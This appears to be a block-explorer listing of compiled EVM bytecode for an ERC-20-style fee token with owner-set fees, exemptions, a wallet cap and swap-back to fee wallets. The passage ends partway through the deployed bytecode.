fffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610d6a57610ce9826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118469092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d758484846118aa565b90509392505050565b60006009905090565b600f5481565b6000610db9827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6108d5565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590612e5c565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601360149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8a90612e5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d690612e5c565b60405180910390fd5b80601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546111db90612ddf565b80601f016020809104026020016040519081016040528092919081815260200182805461120790612ddf565b80156112545780601f1061122957610100808354040283529160200191611254565b820191906000526020600020905b81548152906001019060200180831161123757829003601f168201915b5050505050905090565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e990612e5c565b60405180910390fd5b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113ab3384846118aa565b905092915050565b60155481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a90612e5c565b60405180910390fd5b8260098190555081600a819055506114b48284611d9d90919063ffffffff16565b600b8190555080600c819055506003600c546114d09190612f1c565b600b5410611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a90612f99565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d90612e5c565b60405180910390fd5b82601360146101000a81548160ff0219169083151502179055508160148190555080601581905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b600a5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116eb90612e5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175a90613005565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600083831115829061188e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188591906129af565b60405180910390fd5b506000838561189d9190613025565b9050809150509392505050565b6000806118b684610ebc565b905060045483826118c79190613059565b11158061191d5750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61195c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611953906130ff565b60405180910390fd5b611964611dfb565b80156119bd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156119cb576119ca611ed2565b5b600062989680846119dc9190612f1c565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a855750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611a99578084611a969190613025565b93505b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b3b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b5457611b4b86868661244d565b92505050611d96565b611bdd846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118469092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611c2c8787612554565b611c365784611c92565b611c918786601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614612602565b5b9050611ce681600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9d90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d869190612904565b60405180910390a3600193505050505b9392505050565b6000808284611dac9190613059565b905083811015611df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de89061316b565b60405180910390fd5b8091505092915050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611e685750601660009054906101000a900460ff16155b8015611e805750601360149054906101000a900460ff165b8015611ecd5750601454600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601660006101000a81548160ff0219169083151502179055506000601554600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611f42576015549050611f85565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000611fc36002611fb5600b54611fa76009548761277a90919063ffffffff16565b6127f490919063ffffffff16565b6127f490919063ffffffff16565b90506000611fda828461283e90919063ffffffff16565b90506000600267ffffffffffffffff811115611ff957611ff861318b565b5b6040519080825280602002602001820160405280156120275781602001602082028036833780820191505090505b509050308160008151811061203f5761203e6131ba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061210a91906131fe565b8160018151811061211e5761211d6131ba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121bc959493929190613324565b600060405180830381600087803b1580156121d657600080fd5b505af11580156121ea573d6000803e3d6000fd5b505050506000479050600061221f61220e60026009546127f490919063ffffffff16565b600b5461283e90919063ffffffff16565b9050600061225d600261224f846122416009548861277a90919063ffffffff16565b6127f490919063ffffffff16565b6127f490919063ffffffff16565b90506000612274828561283e90919063ffffffff16565b90506000811115612316576000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516122cb906133af565b600060405180830381858888f193505050503d8060008114612309576040519150601f19603f3d011682016040523d82523d6000602084013e61230e565b606091505b505080915050505b600087111561242857601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016123a8969594939291906133c4565b60606040518083038185885af11580156123c6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123eb919061343a565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506828860405161241f92919061348d565b60405180910390a15b50505050505050506000601660006101000a81548160ff021916908315150217905550565b60006124a182600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9d90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125419190612904565b60405180910390a3600190509392505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156125fa5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b60008082612611576064612615565b600f545b905060006126606064600c5461262b9190612eab565b61265284612644600b548a61277a90919063ffffffff16565b61277a90919063ffffffff16565b6127f490919063ffffffff16565b90506126b481600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9d90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127549190612904565b60405180910390a361276f818661283e90919063ffffffff16565b925050509392505050565b600080830361278c57600090506127ee565b6000828461279a9190612eab565b90508284826127a99190612f1c565b146127e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e090613528565b60405180910390fd5b809150505b92915050565b600061283683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612888565b905092915050565b600061288083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611846565b905092915050565b600080831182906128cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c691906129af565b60405180910390fd5b50600083856128de9190612f1c565b9050809150509392505050565b6000819050919050565b6128fe816128eb565b82525050565b600060208201905061291960008301846128f5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561295957808201518184015260208101905061293e565b60008484015250505050565b6000601f19601f8301169050919050565b60006129818261291f565b61298b818561292a565b935061299b81856020860161293b565b6129a481612965565b840191505092915050565b600060208201905081810360008301526129c98184612976565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a01826129d6565b9050919050565b612a11816129f6565b8114612a1c57600080fd5b50565b600081359050612a2e81612a08565b92915050565b612a3d816128eb565b8114612a4857600080fd5b50565b600081359050612a5a81612a34565b92915050565b60008060408385031215612a7757612a766129d1565b5b6000612a8585828601612a1f565b9250506020612a9685828601612a4b565b9150509250929050565b60008115159050919050565b612ab581612aa0565b82525050565b6000602082019050612ad06000830184612aac565b92915050565b600060208284031215612aec57612aeb6129d1565b5b6000612afa84828501612a4b565b91505092915050565b612b0c81612aa0565b8114612b1757600080fd5b50565b600081359050612b2981612b03565b92915050565b60008060408385031215612b4657612b456129d1565b5b6000612b5485828601612a1f565b9250506020612b6585828601612b1a565b9150509250929050565b600080600060608486031215612b8857612b876129d1565b5b6000612b9686828701612a1f565b9350506020612ba786828701612a1f565b9250506040612bb886828701612a4b565b9150509250925092565b600060ff82169050919050565b612bd881612bc2565b82525050565b6000602082019050612bf36000830184612bcf565b92915050565b600060208284031215612c0f57612c0e6129d1565b5b6000612c1d84828501612a1f565b91505092915050565b612c2f816129f6565b82525050565b6000602082019050612c4a6000830184612c26565b92915050565b60008060408385031215612c6757612c666129d1565b5b6000612c7585828601612a1f565b9250506020612c8685828601612a1f565b9150509250929050565b600080600060608486031215612ca957612ca86129d1565b5b6000612cb786828701612a4b565b9350506020612cc886828701612a4b565b9250506040612cd986828701612a4b565b9150509250925092565b600080600060608486031215612cfc57612cfb6129d1565b5b6000612d0a86828701612b1a565b9350506020612d1b86828701612a4b565b9250506040612d2c86828701612a4b565b9150509250925092565b6000819050919050565b6000612d5b612d56612d51846129d6565b612d36565b6129d6565b9050919050565b6000612d6d82612d40565b9050919050565b6000612d7f82612d62565b9050919050565b612d8f81612d74565b82525050565b6000602082019050612daa6000830184612d86565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612df757607f821691505b602082108103612e0a57612e09612db0565b5b50919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612e4660068361292a565b9150612e5182612e10565b602082019050919050565b60006020820190508181036000830152612e7581612e39565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612eb6826128eb565b9150612ec1836128eb565b9250828202612ecf816128eb565b91508282048414831517612ee657612ee5612e7c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f27826128eb565b9150612f32836128eb565b925082612f4257612f41612eed565b5b828204905092915050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b6000612f83601c8361292a565b9150612f8e82612f4d565b602082019050919050565b60006020820190508181036000830152612fb281612f76565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612fef60088361292a565b9150612ffa82612fb9565b602082019050919050565b6000602082019050818103600083015261301e81612fe2565b9050919050565b6000613030826128eb565b915061303b836128eb565b925082820390508181111561305357613052612e7c565b5b92915050565b6000613064826128eb565b915061306f836128eb565b925082820190508082111561308757613086612e7c565b5b92915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b60006130e9603e8361292a565b91506130f48261308d565b604082019050919050565b60006020820190508181036000830152613118816130dc565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613155601b8361292a565b91506131608261311f565b602082019050919050565b6000602082019050818103600083015261318481613148565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506131f881612a08565b92915050565b600060208284031215613214576132136129d1565b5b6000613222848285016131e9565b91505092915050565b6000819050919050565b600061325061324b6132468461322b565b612d36565b6128eb565b9050919050565b61326081613235565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61329b816129f6565b82525050565b60006132ad8383613292565b60208301905092915050565b6000602082019050919050565b60006132d182613266565b6132db8185613271565b93506132e683613282565b8060005b838110156133175781516132fe88826132a1565b9750613309836132b9565b9250506001810190506132ea565b5085935050505092915050565b600060a08201905061333960008301886128f5565b6133466020830187613257565b818103604083015261335881866132c6565b90506133676060830185612c26565b61337460808301846128f5565b9695505050505050565b600081905092915050565b50565b600061339960008361337e565b91506133a482613389565b600082019050919050565b60006133ba8261338c565b9150819050919050565b600060c0820190506133d96000830189612c26565b6133e660208301886128f5565b6133f36040830187613257565b6134006060830186613257565b61340d6080830185612c26565b61341a60a08301846128f5565b979650505050505050565b60008151905061343481612a34565b92915050565b600080600060608486031215613453576134526129d1565b5b600061346186828701613425565b935050602061347286828701613425565b925050604061348386828701613425565b9150509250925092565b60006040820190506134a260008301856128f5565b6134af60208301846128f5565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061351260218361292a565b915061351d826134b6565b604082019050919050565b6000602082019050818103600083015261354181613505565b905091905056fea264697066735822122033f313e3934b731ee7219e2b1840cf8054fcf5171851bc9f1e3865ff5ef8da0264736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102085760003560e01c806373a432bb11610118578063c5cb3be5116100a0578063dd62ed3e1161006f578063dd62ed3e14610756578063ea42fc5214610793578063eff98843146107be578063f2fde38b146107e9578063f887ea40146108125761020f565b8063c5cb3be5146106ae578063ca33e64c146106d9578063cec10c1114610704578063d08893581461072d5761020f565b806398118cb4116100e757806398118cb4146105c7578063a4b45c00146105f2578063a8aa1b311461061b578063a9059cbb14610646578063acef1a44146106835761020f565b806373a432bb1461051d57806378109e54146105465780638da5cb5b1461057157806395d89b411461059c5761020f565b80632198cf6c1161019b578063571ac8b01161016a578063571ac8b014610438578063658d4b7f146104755780636ddd17131461049e57806370a08231146104c9578063715018a6146105065761020f565b80632198cf6c1461037c57806323b872dd146103a5578063313ce567146103e25780634ddf6e581461040d5761020f565b8063180b0d7e116101d7578063180b0d7e146102d057806318160ddd146102fb5780631dcc9f51146103265780631df4ccfc146103515761020f565b80630445b6671461021457806306fdde031461023f578063095ea7b31461026a5780630f2a0919146102a75761020f565b3661020f57005b600080fd5b34801561022057600080fd5b5061022961083d565b6040516102369190612904565b60405180910390f35b34801561024b57600080fd5b50610254610843565b60405161026191906129af565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190612a60565b6108d5565b60405161029e9190612abb565b60405180910390f35b3480156102b357600080fd5b506102ce60048036038101906102c99190612ad6565b6109c7565b005b3480156102dc57600080fd5b506102e5610a79565b6040516102f29190612904565b60405180910390f35b34801561030757600080fd5b50610310610a7f565b60405161031d9190612904565b60405180910390f35b34801561033257600080fd5b5061033b610a89565b6040516103489190612904565b60405180910390f35b34801561035d57600080fd5b50610366610a8f565b6040516103739190612904565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e9190612b2f565b610a95565b005b3480156103b157600080fd5b506103cc60048036038101906103c79190612b6f565b610b7e565b6040516103d99190612abb565b60405180910390f35b3480156103ee57600080fd5b506103f7610d7e565b6040516104049190612bde565b60405180910390f35b34801561041957600080fd5b50610422610d87565b60405161042f9190612904565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a9190612bf9565b610d8d565b60405161046c9190612abb565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190612b2f565b610dc0565b005b3480156104aa57600080fd5b506104b3610ea9565b6040516104c09190612abb565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb9190612bf9565b610ebc565b6040516104fd9190612904565b60405180910390f35b34801561051257600080fd5b5061051b610f05565b005b34801561052957600080fd5b50610544600480360381019061053f9190612bf9565b611051565b005b34801561055257600080fd5b5061055b61119d565b6040516105689190612904565b60405180910390f35b34801561057d57600080fd5b506105866111a3565b6040516105939190612c35565b60405180910390f35b3480156105a857600080fd5b506105b16111cc565b6040516105be91906129af565b60405180910390f35b3480156105d357600080fd5b506105dc61125e565b6040516105e99190612904565b60405180910390f35b3480156105fe57600080fd5b5061061960048036038101906106149190612c50565b611264565b005b34801561062757600080fd5b50610630611378565b60405161063d9190612c35565b60405180910390f35b34801561065257600080fd5b5061066d60048036038101906106689190612a60565b61139e565b60405161067a9190612abb565b60405180910390f35b34801561068f57600080fd5b506106986113b3565b6040516106a59190612904565b60405180910390f35b3480156106ba57600080fd5b506106c36113b9565b6040516106d09190612c35565b60405180910390f35b3480156106e557600080fd5b506106ee6113df565b6040516106fb9190612c35565b60405180910390f35b34801561071057600080fd5b5061072b60048036038101906107269190612c90565b611405565b005b34801561073957600080fd5b50610754600480360381019061074f9190612ce3565b611518565b005b34801561076257600080fd5b5061077d60048036038101906107789190612c50565b6115d3565b60405161078a9190612904565b60405180910390f35b34801561079f57600080fd5b506107a861165a565b6040516107b59190612904565b60405180910390f35b3480156107ca57600080fd5b506107d3611660565b6040516107e09190612904565b60405180910390f35b3480156107f557600080fd5b50610810600480360381019061080b9190612bf9565b611666565b005b34801561081e57600080fd5b50610827611820565b6040516108349190612d95565b60405180910390f35b60145481565b60606001805461085290612ddf565b80601f016020809104026020016040519081016040528092919081815260200182805461087e90612ddf565b80156108cb5780601f106108a0576101008083540402835291602001916108cb565b820191906000526020600020905b8154815290600101906020018083116108ae57829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109b59190612904565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90612e5c565b60405180910390fd5b61271081600354610a669190612eab565b610a709190612f1c565b60048190555050565b600c5481565b6000600354905090565b600e5481565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1a90612e5c565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610d6a57610ce9826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118469092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d758484846118aa565b90509392505050565b60006009905090565b600f5481565b6000610db9827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6108d5565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590612e5c565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601360149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8a90612e5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d690612e5c565b60405180910390fd5b80601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546111db90612ddf565b80601f016020809104026020016040519081016040528092919081815260200182805461120790612ddf565b80156112545780601f1061122957610100808354040283529160200191611254565b820191906000526020600020905b81548152906001019060200180831161123757829003601f168201915b5050505050905090565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e990612e5c565b60405180910390fd5b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113ab3384846118aa565b905092915050565b60155481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a90612e5c565b60405180910390fd5b8260098190555081600a819055506114b48284611d9d90919063ffffffff16565b600b8190555080600c819055506003600c546114d09190612f1c565b600b5410611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a90612f99565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d90612e5c565b60405180910390fd5b82601360146101000a81548160ff0219169083151502179055508160148190555080601581905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b600a5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f4576040517